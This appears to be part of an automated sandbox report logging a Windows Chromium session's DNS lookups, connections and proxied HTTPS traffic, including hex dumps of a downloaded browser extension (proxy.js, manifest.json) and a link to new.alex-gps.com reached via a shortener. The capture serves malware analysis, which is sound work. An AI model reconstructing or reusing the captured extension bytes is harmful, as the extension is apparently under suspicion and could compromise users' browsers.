Oct 24, 2024 00:28:46.181911945 CEST	57253	443	192.168.2.16	162.159.61.3
Oct 24, 2024 00:28:46.183289051 CEST	59344	443	192.168.2.16	142.251.116.104
Oct 24, 2024 00:28:46.183469057 CEST	59344	443	192.168.2.16	142.251.116.104
Oct 24, 2024 00:28:46.789237022 CEST	443	59344	142.251.116.104	192.168.2.16
Oct 24, 2024 00:28:46.789927959 CEST	443	59344	142.251.116.104	192.168.2.16
Oct 24, 2024 00:28:46.790247917 CEST	443	59344	142.251.116.104	192.168.2.16
Oct 24, 2024 00:28:46.790345907 CEST	443	59344	142.251.116.104	192.168.2.16
Oct 24, 2024 00:28:46.790468931 CEST	59344	443	192.168.2.16	142.251.116.104
Oct 24, 2024 00:28:46.800509930 CEST	59344	443	192.168.2.16	142.251.116.104
Oct 24, 2024 00:28:46.919228077 CEST	443	59344	142.251.116.104	192.168.2.16
Oct 24, 2024 00:28:46.920296907 CEST	59344	443	192.168.2.16	142.251.116.104
Oct 24, 2024 00:28:47.049901009 CEST	443	59344	142.251.116.104	192.168.2.16
Oct 24, 2024 00:28:47.049915075 CEST	443	59344	142.251.116.104	192.168.2.16
Oct 24, 2024 00:28:47.050440073 CEST	59344	443	192.168.2.16	142.251.116.104
Oct 24, 2024 00:28:47.050551891 CEST	59344	443	192.168.2.16	142.251.116.104
Oct 24, 2024 00:28:47.075372934 CEST	443	59344	142.251.116.104	192.168.2.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 00:26:41.190061092 CEST	192.168.2.16	1.1.1.1	0x14c0	Standard query (0)	t.ly	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:26:41.190984011 CEST	192.168.2.16	1.1.1.1	0xef7d	Standard query (0)	t.ly	65	IN (0x0001)	false
Oct 24, 2024 00:26:41.823117018 CEST	192.168.2.16	1.1.1.1	0xf205	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:26:41.823287010 CEST	192.168.2.16	1.1.1.1	0xb0eb	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Oct 24, 2024 00:26:42.199382067 CEST	192.168.2.16	1.1.1.1	0xbb03	Standard query (0)	new.alex-gps.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:26:42.199733973 CEST	192.168.2.16	1.1.1.1	0x72cb	Standard query (0)	new.alex-gps.com	65	IN (0x0001)	false
Oct 24, 2024 00:26:45.185507059 CEST	192.168.2.16	1.1.1.1	0x98d4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:26:45.185507059 CEST	192.168.2.16	1.1.1.1	0x4062	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 24, 2024 00:26:45.317684889 CEST	192.168.2.16	1.1.1.1	0xb3f2	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:26:45.318160057 CEST	192.168.2.16	1.1.1.1	0x9d48	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 24, 2024 00:26:45.318772078 CEST	192.168.2.16	1.1.1.1	0xf45a	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:26:45.318772078 CEST	192.168.2.16	1.1.1.1	0x91d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 24, 2024 00:26:45.570327044 CEST	192.168.2.16	1.1.1.1	0x8096	Standard query (0)	cdn.socket.io	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:26:45.570588112 CEST	192.168.2.16	1.1.1.1	0xe6fc	Standard query (0)	cdn.socket.io	65	IN (0x0001)	false
Oct 24, 2024 00:27:48.205003977 CEST	192.168.2.16	1.1.1.1	0xd6af	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:27:48.205473900 CEST	192.168.2.16	1.1.1.1	0x3cdb	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 24, 2024 00:27:53.002798080 CEST	192.168.2.16	1.1.1.1	0x78dd	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:27:53.002944946 CEST	192.168.2.16	1.1.1.1	0x9ff9	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 24, 2024 00:27:54.000883102 CEST	192.168.2.16	1.1.1.1	0x7d04	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:27:54.001143932 CEST	192.168.2.16	1.1.1.1	0x20b9	Standard query (0)	play.google.com	65	IN (0x0001)	false
Oct 24, 2024 00:28:45.300869942 CEST	192.168.2.16	1.1.1.1	0x453d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:28:45.300961971 CEST	192.168.2.16	1.1.1.1	0x917f	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 24, 2024 00:26:41.198964119 CEST	1.1.1.1	192.168.2.16	0x14c0	No error (0)	t.ly		104.20.6.133	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:26:41.198964119 CEST	1.1.1.1	192.168.2.16	0x14c0	No error (0)	t.ly		104.20.7.133	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:26:41.201534033 CEST	1.1.1.1	192.168.2.16	0xef7d	No error (0)	t.ly			65	IN (0x0001)	false
Oct 24, 2024 00:26:41.832011938 CEST	1.1.1.1	192.168.2.16	0xf205	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 00:26:41.832011938 CEST	1.1.1.1	192.168.2.16	0xf205	No error (0)	googlehosted.l.googleusercontent.com		142.250.186.97	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:26:41.834716082 CEST	1.1.1.1	192.168.2.16	0xb0eb	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 00:26:42.213274956 CEST	1.1.1.1	192.168.2.16	0xbb03	No error (0)	new.alex-gps.com		201.102.105.236	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:26:45.194703102 CEST	1.1.1.1	192.168.2.16	0x98d4	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:26:45.194854975 CEST	1.1.1.1	192.168.2.16	0x4062	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 24, 2024 00:26:45.327234983 CEST	1.1.1.1	192.168.2.16	0x9d48	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 24, 2024 00:26:45.327261925 CEST	1.1.1.1	192.168.2.16	0xb3f2	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:26:45.327261925 CEST	1.1.1.1	192.168.2.16	0xb3f2	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:26:45.327665091 CEST	1.1.1.1	192.168.2.16	0x91d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 24, 2024 00:26:45.328615904 CEST	1.1.1.1	192.168.2.16	0xf45a	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:26:45.328615904 CEST	1.1.1.1	192.168.2.16	0xf45a	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:26:45.580307007 CEST	1.1.1.1	192.168.2.16	0xe6fc	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 00:26:45.612974882 CEST	1.1.1.1	192.168.2.16	0x8096	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 00:26:45.612974882 CEST	1.1.1.1	192.168.2.16	0x8096	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.89	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:26:45.612974882 CEST	1.1.1.1	192.168.2.16	0x8096	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.33	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:26:45.612974882 CEST	1.1.1.1	192.168.2.16	0x8096	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.5	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:26:45.612974882 CEST	1.1.1.1	192.168.2.16	0x8096	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.78	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:27:48.212424994 CEST	1.1.1.1	192.168.2.16	0xd6af	No error (0)	www.google.com		142.250.181.228	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:27:48.213198900 CEST	1.1.1.1	192.168.2.16	0x3cdb	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 24, 2024 00:27:53.011993885 CEST	1.1.1.1	192.168.2.16	0x78dd	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 00:27:53.011993885 CEST	1.1.1.1	192.168.2.16	0x78dd	No error (0)	plus.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:27:53.013011932 CEST	1.1.1.1	192.168.2.16	0x9ff9	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 00:27:54.008107901 CEST	1.1.1.1	192.168.2.16	0x7d04	No error (0)	play.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:28:06.416877985 CEST	1.1.1.1	192.168.2.16	0x7f38	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 00:28:06.416877985 CEST	1.1.1.1	192.168.2.16	0x7f38	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:28:30.461934090 CEST	1.1.1.1	192.168.2.16	0xd75	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 00:28:30.461934090 CEST	1.1.1.1	192.168.2.16	0xd75	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:28:44.597124100 CEST	1.1.1.1	192.168.2.16	0x8c3c	No error (0)	s-ring.dual-s-9999.dual-s-msedge.net	dual-s-9999.dual-s-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 00:28:44.597124100 CEST	1.1.1.1	192.168.2.16	0x8c3c	No error (0)	dual-s-9999.dual-s-msedge.net		52.123.128.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:28:44.597124100 CEST	1.1.1.1	192.168.2.16	0x8c3c	No error (0)	dual-s-9999.dual-s-msedge.net		52.123.129.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:28:45.310610056 CEST	1.1.1.1	192.168.2.16	0x917f	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 24, 2024 00:28:45.310636997 CEST	1.1.1.1	192.168.2.16	0x453d	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 24, 2024 00:28:45.310636997 CEST	1.1.1.1	192.168.2.16	0x453d	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

clients2.googleusercontent.com

new.alex-gps.com

https:

cdn.socket.io

www.w3schools.com

aadcdn.msftauth.net

aadcdn.msauth.net

logincdn.msauth.net

www.bing.com

r.bing.com

fp.msedge.net

browser.pipe.aria.microsoft.com

p-ring.msedge.net

t-ring.msedge.net

mcr-ring.msedge.net

fp-vs-nocache.azureedge.net

rum8.perf.linkedin.com

o-ring-fallback.msedge.net

fp-afd.azurefd.us

dual-s-ring.msedge.net

content-autofill.googleapis.com

slscr.update.microsoft.com

chrome.google.com

update.googleapis.com

www.google.com

apis.google.com

play.google.com

otelrules.azureedge.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49708	142.250.186.97	443	1844	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:42 UTC	577	OUT	GET /crx/blobs/AYA8Vyx2J_yUZTKcv47OjJ_lQNlaCYqeh8SOiGiawnXT0TvFvxRmwfkcv63jai6G-68PkdQz0qjWRURdD69KjIEk_1WMoGqX2-nmHyARS_kIQQQ8jggfB8g6y3OxQgNbZ3cAxlKa5c6rbuh5modTsW2qcgj5aN-TT3fn/EFAIDNBMNNNIBPCAJPCGLCLEFINDMKAJ_24_10_2_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2024-10-23 22:26:42 UTC	574	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 1948893 X-GUploader-UploadID: AHmUCY1JSnjtdfrGy4swMAOW6enGiT560SjZrTmeBEW6lj43GVnuMpL_rokjO2dW1fGjJtUQVSXsIi1ZYQ X-Goog-Hash: crc32c=caaNqA== Server: UploadServer Date: Wed, 23 Oct 2024 12:38:09 GMT Expires: Thu, 23 Oct 2025 12:38:09 GMT Cache-Control: public, max-age=31536000 Age: 35313 Last-Modified: Mon, 21 Oct 2024 11:53:40 GMT ETag: b0efd8c6_841be882_0379d47f_66026c61_ecc4ee2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-23 22:26:42 UTC	804	IN	Data Raw: 43 72 32 34 03 00 00 00 19 04 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 8f fb bf 5c 37 63 94 3c b0 ee 01 c4 b5 a6 9a b1 9f 46 74 6f 16 38 a0 32 27 35 dd f0 71 6b 0e dc f6 25 cb b2 ed ea fb 32 d5 af 1e 03 43 03 46 f0 a7 39 db 23 96 1d 65 e5 78 51 f0 84 b0 0e 12 ac 0e 5b dc c9 d6 4c 7c 00 d5 b8 1b 88 33 3e 2f da eb aa f7 1a 75 c2 ae 3a 54 de 37 8f 10 d2 28 e6 84 79 4d 15 b4 f3 bd 3f 56 d3 3c 3f 18 ab fc 2e 05 c0 1e 08 31 b6 61 d0 fd 9f 4f 3f 64 0d 17 93 bc ad 41 c7 48 be 00 27 a8 4d 70 42 92 05 54 a6 6d b8 de 56 6e 20 49 70 ee 10 3e 6b d2 7c 31 bd 1b 6e a4 3c 46 62 9f 08 66 93 f9 2a 51 31 a8 db b5 9d b9 0f 73 e8 a0 09 32 01 e9 7b 2a 8a 36 a0 cf 17 b0 50 70 9d a2 f9 a4 6f 62 4d Data Ascii: Cr240"0H0\7c<Fto82'5qk%2CF9#exQ[L\|3>/u:T7(yM?V<?.1aO?dAH'MpBTmVn Ip>k\|1n<FbfQ1s2{*6PpobM
2024-10-23 22:26:42 UTC	1378	IN	Data Raw: b6 bd 3a 94 33 65 bd 8b c1 75 83 0b e4 a4 5e b3 3c d1 50 4a 04 61 34 ba 04 cb 75 78 df bc f2 ff 28 a0 c8 ce 5f fe 32 52 4c 10 7a e2 35 e0 11 e1 88 c7 fe 40 de 38 3b 91 86 84 66 a7 2b 37 03 27 b1 fb 1a a6 01 0a 5b 30 59 30 13 06 07 2a 86 48 ce 3d 02 01 06 08 2a 86 48 ce 3d 03 01 07 03 42 00 04 b4 02 f9 a9 1c ae e1 0c 84 f8 dc 9b 17 72 98 a5 e0 32 d5 db 2b 59 d8 49 c0 ef be e8 6b f9 f8 62 52 b8 6a 35 53 6c 07 8b 38 d4 ff 9a dd bc dd f9 bc 48 22 69 cc 2d 6c a1 01 60 b4 51 e3 7b d1 cf 12 47 30 45 02 21 00 91 99 11 53 61 bf 8b e1 ee 05 f4 95 37 01 de 6d 2b 97 48 74 d1 76 ec e8 bf b0 cf 89 43 30 39 9f 02 20 7d e6 86 d8 51 44 45 63 26 c0 2e f6 49 d0 3f 8c 36 ed 58 f7 c3 39 0d 28 38 35 9e 40 81 98 ea 2b 82 f1 04 12 0a 10 45 08 3d 1c dd d8 1f 20 9f 26 b2 b4 58 d3 Data Ascii: :3eu^<PJa4ux(_2RLz5@8;f+7'[0Y0H=H=Br2+YIkbRj5Sl8H"i-l`Q{G0E!Sa7m+HtvC09 }QDEc&.I?6X9(85@+E= &X
2024-10-23 22:26:42 UTC	1378	IN	Data Raw: 25 c0 8b 1a 04 19 b8 db f1 56 91 fb d1 16 d3 2d 99 1b 8b 82 cb 68 22 6c 1c 42 42 cb 28 10 59 fd ff 6e 99 37 6f 9a 3f 2c 29 25 6c 28 8c 91 6b 84 52 53 7a b7 0d aa 62 54 53 77 b5 ef 7a f4 35 32 19 df c7 a8 b1 0a 93 15 df 81 0a 4f e4 1c 06 b8 06 af 60 ca 43 6a f1 c6 24 ca 0c ba 55 8d 8e ec 8d 54 15 4f f7 34 cf 1c 9b 0f 82 53 d6 4f 5b 65 36 99 e8 f9 e9 8f 91 c6 10 2e d3 1c 43 ae 85 53 74 dd 2c 03 5d 55 b2 4c ad 80 74 2d 4e f3 46 bf dd 63 0e 89 ed 34 2f 4a 1f f5 97 58 93 c7 83 ee ca 26 ec d1 11 e3 90 4d f1 3b e5 b3 aa 1c c5 33 c8 aa 72 b4 ac ca f1 c8 fe 01 50 4b 07 08 01 6c fb f5 cb 01 00 00 c3 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 2d 00 73 77 5f 6d 6f 64 75 6c 65 73 2f 55 54 05 00 01 be ef 16 67 0a 00 20 Data Ascii: %V-h"lBB(Yn7o?,)%l(kRSzbTSwz52O`Cj$UTO4SO[e6.CSt,]ULt-NFc4/JX&M;3rPKlPK!-sw_modules/UTg
2024-10-23 22:26:42 UTC	1378	IN	Data Raw: cc a4 d7 58 98 a8 49 33 f9 4b 2f 68 e8 59 7b 5f 5b cc 7b 6f 7d ae 76 dc f8 40 df 30 4f e1 0c c4 91 c6 4b 4e e7 23 27 90 b4 9b 20 d2 a9 86 53 0e 9f fa 7f 01 50 4b 07 08 9a 14 02 bb e3 02 00 00 fb 05 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 00 2d 00 6d 61 6e 69 66 65 73 74 2e 6a 73 6f 6e 55 54 05 00 01 f2 ef 16 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 45 fe 48 18 24 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d5 18 cb 6e dc 36 f0 ee af 30 f6 62 c0 88 24 db 09 92 c0 2d 0a b4 ee cb 07 e7 e0 a4 87 a2 30 04 2e 39 92 68 53 a4 4a 52 5e 2f 0c ff 7b 87 a4 b4 16 d5 7d c8 8f 36 ad f7 62 cd 8b 9c 27 67 e6 7e 6f d6 36 8c 58 c8 5b 2d 66 a7 fb b3 ca da c6 9c 66 19 15 1c a4 35 27 69 a9 54 29 20 a5 aa ce 0c e8 5b 4e Data Ascii: XI3K/hY{_[{o}v@0OKN#' SPKPK!-manifest.jsonUTg EH$n60b$-0.9hSJR^/{}6b'g~o6X[-ff5'iT) [N
2024-10-23 22:26:42 UTC	1378	IN	Data Raw: 42 bf c1 6c ed d4 de 1f 6d 95 fa fe 9d ab 31 46 a8 12 67 f0 21 4b 78 c8 2c 3e ee c3 65 d3 e9 e1 36 82 55 af 33 20 8b 76 55 e3 63 d7 c2 b8 8a 97 1e 95 c2 06 63 e3 6e 74 5c 37 7b 57 86 e5 2b 11 9b 39 2b ee 16 9a cb e1 4e 66 ae d4 4d 4d f4 4d 17 83 57 7b 0f 7f 01 50 4b 07 08 25 68 88 2e 1d 05 00 00 e6 16 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 2d 00 73 63 68 65 6d 61 2e 6a 73 6f 6e 55 54 05 00 01 3a c6 91 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 99 b7 3a b9 d4 da 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 90 cd 4e c3 30 10 84 ef 79 8a 55 2e 5c 2a 7a e7 56 09 89 f6 80 40 a2 3c 80 93 ac 13 23 d7 6b d9 6b 95 a8 ea bb 63 3b 21 fd 51 10 39 f8 32 3b b3 3b 9f 4f 05 40 c9 bd c5 f2 09 4a aa be b0 e6 72 95 Data Ascii: Blm1Fg!Kx,>e6U3 vUccnt\7{W+9+NfMMMW{PK%h.PK!-schema.jsonUT:f :N0yU.\*zV@<#kkc;!Q92;;O@Jr
2024-10-23 22:26:42 UTC	1378	IN	Data Raw: 15 95 1e d5 bc 8f 72 10 6f 86 02 dd 81 23 a1 37 f4 6f 49 c6 97 c8 45 9c 2a a9 74 43 32 83 27 c4 c1 7c f3 9b f3 5e ee 2b 91 8b d9 7c 25 7b 8c 33 35 fb 4e 93 02 35 3e 54 ae bb 3b e9 72 0f 9f b9 a0 05 52 58 bd 36 d9 60 8b f4 48 c9 f0 74 ec 53 eb f0 f3 d6 b1 f6 2a c3 d3 ad 93 35 9d a2 14 88 64 23 85 0f 7b dc ae f5 8e 58 a5 b8 55 c3 ab 9c 39 f4 4d cb e9 7a d1 23 10 4b 04 66 70 f2 23 4c ad 2d c2 d8 3f 0c 9e 53 ff 36 45 0a f1 98 64 6a 82 07 42 c6 6a a1 f1 cd d1 c9 b4 98 53 78 f7 d1 ea e5 53 65 ec e1 84 a7 f0 48 5d 5d 4a 2b f0 9c 91 fd 76 73 11 85 bd b0 f3 b1 5e ca c1 62 46 48 a0 75 ab 63 ca a6 91 8a 44 a7 13 b7 a0 4a 8e 60 12 57 0f 5a 2f 4b 92 55 bb 81 32 df 28 37 ea d8 00 e1 2b 79 47 bf d8 67 7c 5c 1d 9e 96 6a 14 75 4e 3e 41 cd 9f 95 11 b6 19 85 ae 30 29 71 85 Data Ascii: ro#7oIEtC2'\|^+\|%{35N5>T;rRX6`HtS5d#{XU9Mz#Kfp#L-?S6EdjBjSxSeH]]J+vs^bFHucDJ`WZ/KU2(7+yGg\|\juN>A0)q
2024-10-23 22:26:42 UTC	1378	IN	Data Raw: ac 9f b6 aa 51 59 ea fd c9 d7 48 63 08 87 69 81 a1 d0 c2 2e ba 0e ac 37 29 4d 0b 93 49 4a 67 cb 77 c2 53 99 34 ff 55 f8 ae 11 7b 64 6d 05 5d 93 1c 11 90 9b 16 87 18 0f 1e cb 2e fa 58 9a a3 d4 91 e9 37 96 79 bb 80 06 f5 5d 7b da 98 a4 78 98 54 b9 7a d6 27 cb d4 0a 48 d7 e2 b4 68 34 5f 8f 05 24 b6 d3 a2 da 71 3c e9 1d a9 de 52 95 e7 eb d3 15 c1 f8 2d 65 af c1 e0 01 46 93 2a a3 eb 3f a8 86 4f c3 1f 50 4b 07 08 10 88 26 00 03 02 00 00 2b 04 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 2d 00 63 6f 6e 74 65 6e 74 5f 73 63 72 69 70 74 73 2f 55 54 05 00 01 be ef 16 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 b3 ff 29 18 24 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 50 4b 07 08 00 00 00 00 02 00 00 00 00 Data Ascii: QYHci.7)MIJgwS4U{dm].X7y]{xTz'Hh4_$q<R-eF*?OPK&+PK!-content_scripts/UTg )$PK
2024-10-23 22:26:42 UTC	1378	IN	Data Raw: a7 1c 57 ba 7a c4 c4 a3 bd ce f9 d5 54 db a1 71 f0 12 de 11 e4 4f fc 52 e1 b0 6b 77 e3 d8 4e bf 5a bc df dd 09 59 b3 60 5c 76 3e 05 9e ef d4 99 fa 2f f8 79 1a 51 58 1b 5e ed 3e 24 bb 04 a2 a2 6e 2d 28 62 ed 7f 01 50 4b 07 08 2d 3a f5 48 43 04 00 00 49 09 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 13 00 2d 00 73 77 5f 6d 6f 64 75 6c 65 73 2f 70 72 6f 78 79 2e 6a 73 55 54 05 00 01 3a c6 91 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 99 b7 3a b9 d4 da 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ad 54 51 6f db 36 10 7e cf af 60 fd 10 50 31 43 db 59 37 14 72 85 c1 4b d2 2d 43 17 17 89 9f 16 07 01 2d 9d 2d a6 12 29 90 a7 26 9a a1 ff be a3 ec 28 4b 3b 04 7d a8 60 40 22 f9 dd dd 77 df 7d f4 e8 e8 47 3d 07 47 6c 76 36 Data Ascii: WzTqORkwNZY`\v>/yQX^>$n-(bPK-:HCIPK!-sw_modules/proxy.jsUT:f :TQo6~`P1CY7rK-C--)&(K;}`@"w}G=Glv6
2024-10-23 22:26:42 UTC	1378	IN	Data Raw: 37 ac ec 9c e5 f3 95 96 93 a9 75 fe 71 f2 ee 0f a7 9f e6 23 72 ae 57 c6 d2 cc 38 43 95 e4 7a 9e 6b 61 29 65 e5 7e 96 39 57 ac 6c 9c 2b 32 a4 97 94 86 a5 99 8b cb 9b e1 d9 20 aa 34 a4 1a e7 7a 26 ac cc 95 93 e4 ca 0a a9 28 75 a6 a4 49 2a 47 9a c0 11 2a 75 34 cd 20 37 d8 6b a7 e4 cc 75 3e 27 6d 57 4e 3e fe 89 0b e5 46 89 c3 cd 62 3e cf 24 69 13 60 bf 1c 43 be 0a 1d e7 06 86 a4 b2 94 65 94 d8 85 c8 4a 75 4b c9 54 c9 04 df e0 4a 42 73 ec 6e 7d c2 e6 da 2b a1 2b 1f b4 24 2b f4 ca b1 f9 ff e1 06 b6 b7 8e 94 b2 da 0a 8e 64 ad d1 ca 11 88 86 60 8d 44 8c b2 17 ce b5 57 ce c4 53 75 0f 95 64 8b 54 aa 89 63 b5 48 c9 31 94 68 b2 a5 e1 5c c3 e9 26 4f ac 8f a8 3b 1f a4 31 34 93 aa 0a 34 02 67 a7 d2 6c 05 1f db 34 e1 9c 74 91 6c e9 60 99 b4 14 19 1f 8a 60 5a 2d 13 9b ad Data Ascii: 7uq#rW8Czka)e~9Wl+2 4z&(uIGu4 7ku>'mWN>Fb>$i`CeJuKTJBsn}++$+d`DWSudTcH1h\&O;144gl4tl``Z-
2024-10-23 22:26:42 UTC	1378	IN	Data Raw: 78 44 2a 94 66 90 4e 40 4e 08 03 fe e2 e2 95 33 6e b0 2c 23 7e 6d 91 5a 13 e5 01 87 10 ae ca 82 c9 a1 6e cc b8 3b 5e 50 8c 97 f9 9d 9a bd b3 81 b9 e7 7a 25 54 93 d0 c9 f4 8b d0 62 86 1c cc e7 c4 b3 5d 60 ca 52 3d d8 81 d2 f3 f3 c1 56 50 7d 0b 4f 9e ca 66 33 d0 3a d7 9e 5b 8e fb 78 1f 41 d1 09 77 03 e9 70 aa 69 5c e0 e5 84 f9 ad 93 e9 0e 84 1b e8 62 e8 2b 1e 7e d9 9e 26 59 a0 c2 05 c0 e3 f9 c5 63 8f 47 96 6e 07 e8 18 74 03 b4 92 76 3a 68 78 81 0a 4c bc 2d c1 32 c9 20 68 c9 77 bc 34 25 d4 71 a1 5b ad 93 52 e3 06 1a f6 3c e7 2f ba 6c 11 b8 13 3d 3f 77 0e 7f 55 31 d8 d7 5f ca 06 b3 6f e1 88 fe 1d ff f3 e4 77 0c 89 2f 1a 54 19 57 50 05 1f d2 cb 43 7e 57 f3 d6 33 50 3d 5e 09 22 b7 bd 93 83 ae e1 70 2f 70 4c 7b 33 37 30 8d 6b a0 f4 c2 e7 b1 e9 65 9f 69 0f 7b 39 Data Ascii: xD*fN@N3n,#~mZn;^Pz%Tb]`R=VP}Of3:[xAwpi\b+~&YcGntv:hxL-2 hw4%q[R</l=?wU1_ow/TWPC~W3P=^"p/pL{370kei{9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49709	201.102.105.236	443	1844	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
